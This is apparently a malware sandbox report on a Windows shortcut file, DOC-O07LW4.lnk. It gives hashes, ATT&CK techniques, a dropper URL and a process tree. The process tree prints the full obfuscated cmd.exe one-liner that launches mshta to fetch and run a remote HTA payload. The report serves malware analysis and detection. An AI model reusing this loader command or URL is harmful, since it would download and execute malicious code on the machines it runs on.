ab86b138a43fbf10437e716a6997dfb4e31cf6cc52ccf023cfda818b24c2f714

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:32

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General

Target
DOC-O07LW4.lnk
Size 2KB
Sample260804-kffz5agb64
SHA256 ab86b138a43fbf10437e716a6997dfb4e31cf6cc52ccf023cfda818b24c2f714
MD5 f995337c3568ca9bf96202da5bd6838a
SHA1 e02964bea24a20e2b646da6e440987856f22de68
SHA512 4abe8f2f9453f3fa97ac778a629a5764d7250ec992c74e3e8343e60f4df412337fa117016794c2007e18cf53ee7de0a4b281854f677a6d7543671a1ff3f31598
TLSH
T18E4166802AEE05D4F2BB8E32ACFE27508ABBB9619D60C28D0540820D0422F51E977F77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3912	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 3540	3912	cmd.exe	89
PID 3540 wrote to memory of 3512	3540	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-O07LW4.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3912
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set tLLmw=fmmdf&&set xVk=xpshtb7p&&set jGR=bqfanp8&set Vzrbm=bakcdaanmifvbak&set AZ=syszqmulhrwdseptzqsys&set qWOHp=infruksdmhbjkznajmksinf&set gNG=cfghootppkwrcvcfg&set OLhi=cachezgqxddstcache&set kqF=cfgoickmvblajqlccfg&set zZtRc=znkstt&&set jbi=lx0arthzm&set nLpy=netxmnzwnuooczhvnbxpmeenet&&set ZFc=h@t@t@ps@:@//@ma-pd@f@fil@ler@.@la@t/@h/@e@st@a@gi@[email protected]@h@p?@r=3914@6@9F@B@5@D8@2DB&&start /b !tLLmw:~1,1!!xVk:~2,3!!jGR:~3,1! !ZFc:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3540
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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